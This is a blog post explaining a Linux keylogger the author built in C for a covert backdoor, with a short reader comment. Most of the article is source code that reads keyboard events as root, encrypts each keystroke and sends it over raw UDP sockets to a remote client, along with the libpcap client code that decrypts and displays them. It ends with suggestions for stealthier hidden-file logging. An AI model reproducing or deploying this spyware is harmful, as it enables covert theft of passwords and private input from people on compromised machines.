coding keylogging backdoor linux

Published on January 6th, 2013 | by Luke Queenan

1

Linux Key Logger

As part of my covert backdoor application, I created a key logger for a Linux system written in C. The application was designed to capture global keystrokes and send them back to a listening client using UDP (over raw sockets) in real time. The payload, containing the key press, is encrypted to prevent someone from casually viewing the key stokes during transmission. Since this was primarily a proof of concept application, there are a few limitations: the application requires root access (for reading the keyboard event file and for raw sockets), the keyboard event file needs to be hard coded, and the key logging process runs in an infinite loop.

This article will discuss the following points:

  • capturing keystrokes
  • creating, encrypting, and sending the UDP packet
  • receiving and displaying the keystrokes on the client
  • further improvements

Capturing Keystrokes

The first step in capturing keystrokes is determining which event file is associated with the keyboard on the compromised system. This can be found by opening a terminal and entering the following commands:

1
2

The output of the last command will show the symbolic links for the devices on the computer. You are obviously interested in the keyboard, so make note of the event associated with it. For example, the system I used had /dev/input/event2 mapped for the keyboard. One more thing to note before we go into the details of capturing the key presses is the format of the events we will read from the event file. Whenever a key is pressed on the system, this event is generated. The events take the following format:

struct input_event {
    struct timeval time;
    __u16 type;
    __u16 code;
    __s32 value;
};

The following code snippet contains functionality for capturing the key presses. My inline comments should explain most of the code, but the important sections will be discussed below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
void keylogger()
{
#ifdef __linux__
    int keyboard = 0;
    int count = 0;
    int eventSize = sizeof(struct input_event);
    int bytesRead = 0;
    int socket = 0;
    char *buffer = NULL;
    struct input_event event[64];
    struct parseKey *key = NULL;
    struct sockaddr_in din;
 
    // Create the raw socket
    if ((socket = createRawUdpSocket()) == 0)
    {
        return;
    }
 
    // Create the packet structure
    buffer = createRawUdpPacket(&din);
 
    // Open the keyboard input device for listening
    keyboard = open(KEYBOARD_DEVICE, O_RDONLY);
    if (keyboard == -1)
    {
        systemFatal("Unable to open keyboard");
        return;
    }
 
    // Start logging the keys
    while (1)
    {
        // Read a keypress
        bytesRead = read(keyboard, event, eventSize * 64);
 
        // Loop through the generated events
        for (count = 0; count < (bytesRead / eventSize); count++)
        {
            if (EV_KEY == event[count].type)
            {
                if ((event[count].value == KEY_PRESS) || (event[count].value == KEY_HELD))
                {
                    // Find the correct name of the keypress. This is O(n) :-(
                    for (key = keyNames; key->name != NULL; key++)
                    {
                        if (key->value == (unsigned) event[count].code)
                        {
                            // Send the key out
                            sendKey(key->name, socket, buffer, &din);
                            break;
                        }
                    }
                }
            }
        }
    }
#endif
}

The first step is to open the event file for reading, which is done on line 24, by passing the path to the event file you got earlier. After opening the file, we can start reading events from it. Once we have a successful read, we loop through the returned events and perform a few checks to ensure that we are dealing with key press and key held events. Once we have a key press, we linearly search through a file containing the integer value and the associated key name. This provides a human readable output, such as KEY_K and KEY_L. Once we have the key name, it’s time to send it to the client.

Sending Keystrokes

The keystrokes are sent back to the client through a raw socket in the UDP payload. The string is encrypted to prevent a casual observer from determine the contents of the packet. The code snippet below demonstrates encrypting the key press string, adding it to the UDP packet, and sending it to the client over a raw socket. The creation of the IP and UDP packets is not included here.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
static void sendKey(char *keyName, int socket, char *buffer, struct sockaddr_in *din)
{
    int packetLength = 0;
    int udpLength = 0;
    int zero = 0;
    int keyLength = 0;
    char date[11];
    char *encryptedField = NULL;
    char *key = NULL;
    struct tm *timeStruct = NULL;
    unsigned short sum = 0;
    time_t t;
 
    // Get the time structs ready
    time(&t);
    timeStruct = localtime(&t);
    strftime(date, sizeof(date), "%Y:%m:%d", timeStruct);
 
    // Get our local information, add 1 for the NULL byte
    key = strndup(keyName, 31);
    keyLength = strnlen(key, 30) + 1;
    packetLength = sizeof(struct udphdr) + keyLength;
 
    // File in the UDP length
    udpLength = htons(packetLength);
    memcpy(buffer + sizeof(struct ip) + 4, &zero, sizeof(unsigned short));
    memcpy(buffer + sizeof(struct ip) + 4, &udpLength, sizeof(unsigned short));
 
    // Fill in the IP length
    packetLength += sizeof(struct ip);
    memcpy(buffer + 2, &zero, sizeof(unsigned short));
    memcpy(buffer + 2, &packetLength, sizeof(unsigned short));
 
    // Encrypt and append the keypress and a NULL byte
    encryptedField = encrypt_data(key, date, keyLength + 1);
    memcpy(buffer + sizeof(struct ip) + sizeof(struct udphdr), encryptedField, keyLength);
 
    // Calculate the IP checksum
    memcpy(buffer + 10, &zero, sizeof(unsigned short));
    sum = csum((unsigned short *)buffer, 5);
    memcpy(buffer + 10, &sum, sizeof(unsigned short));
 
    // Send the packet out
    sendto(socket, buffer, packetLength, 0, (struct sockaddr *)din, sizeof(struct sockaddr_in));
 
    // Cleanup
    free(key);
}

The hardest part with creating the packet is counting out the correct number of bits when using memcpy to ensure the right field is filled out. Other than that it’s pretty straight forward. The encryption is done using the date to ensure that the encryption is somewhat random from day to day.

Receiving Keystrokes

Receiving the keystrokes on the client makes use of libpcap which provides a framework for low level packet capturing. This allows me to set a tcpdump filter on a network interface card and listen for packets. Once a packet that matches the filter is captured, a callback function is used to deal with the packet. The code snippet below is the callback function used by the client.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
void receivedPacket(u_char *args, const struct pcap_pkthdr *header, const u_char *packet)
{
    const struct ip *iph = NULL;
    char *data = NULL;
    char *payload = NULL;
    int ipHeaderSize = 0;
    unsigned short payloadSize = 0;
 
    // Get the IP header and offset value
    iph = (struct ip*)(packet + SIZE_ETHERNET);
#ifdef _IP_VHL
    ipHeaderSize = IP_VHL_HL(iph->ip_vhl) * 4;
#else
    ipHeaderSize = iph->ip_hl * 4;
#endif
 
    if (ipHeaderSize < 20)
    {
        return;
    }
    // Ensure that we are dealing with one of our sneaky TCP packets
#if defined __APPLE__ || defined __USE_BSD
    if (iph->ip_p == IPPROTO_TCP)
#else
    if (iph->protocol == IPPROTO_TCP)
#endif
    {   
        // Get the data and display it
        payload = malloc(sizeof(unsigned long));
        memcpy(payload, (packet + SIZE_ETHERNET + ipHeaderSize + 4), sizeof(unsigned long));
        data = getData(payload, sizeof(unsigned long));
        printf("%.4s", data);
    }
#if defined __APPLE__ || defined __USE_BSD
    else if (iph->ip_p == IPPROTO_UDP)
#else
    else if (iph->protocol == IPPROTO_UDP)
#endif
    {        
        // Get the size of the payload
        memcpy(&payloadSize, (packet + SIZE_ETHERNET + ipHeaderSize + 4), sizeof(unsigned short));
        payloadSize = ntohs(payloadSize);
        payloadSize = payloadSize - sizeof(struct udphdr);
 
        // Get the payload
        payload = malloc(sizeof(char) * payloadSize);
        memcpy(payload, (packet + SIZE_ETHERNET + ipHeaderSize + sizeof(struct udphdr)), payloadSize);
 
        // Get the data and display it
        data = getData(payload, payloadSize);
        printf("%s\n", data);
    }
    free(payload);
}

The section we are concerned about in this article is the UDP section starting on line 34. Once we are sure we have a UDP packet, we determine the size of the payload. Using this value, a memcpy is performed to remove the data from the packet. The data is decrypted using the date and then printed to the console. The screenshot below shows a demonstration of the client receiving and printing keystrokes to the screen.

client-keylogger

Further Improvements

Like I mentioned at the beginning of the article, this was primarily a proof of concept key logger due to time constraints. There are a number of improvements I would make to the program to make it more versatile and usable.

  • Implement the reading in a separate thread. The separate thread will free the rest of the backdoor application so that it can respond to additional commands from the client program. The key logger thread would also be controlled by the backdoor application, meaning that it can be shutdown and restarted at any time by the client.
  • Create a mode where key presses are saved to a hidden file instead of being immediately transmitted back to the client. This would be useful for scenarios where a more stealthy approach is needed, as opposed to the real time key logging.
  • Implement a map for storing the key names for a faster loop up, O(1) instead of O(n).
  • Save the key presses to a file on the client instead of just printing them to the screen.

The full covert backdoor application can be found on my github.

Tags: , , , , , ,


About the Author

Software developer specializing in network security applications and administration, Windows/Unix client-server models using IPC and TCP/IP, keeping fit in the gym.



One Response to Linux Key Logger

  1. brendan says:

    Great post, I’ve always loved logKext as a stealthy Unix key-logger, but am tempted to try and build my own after reading this article.

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

*

Back to Top ↑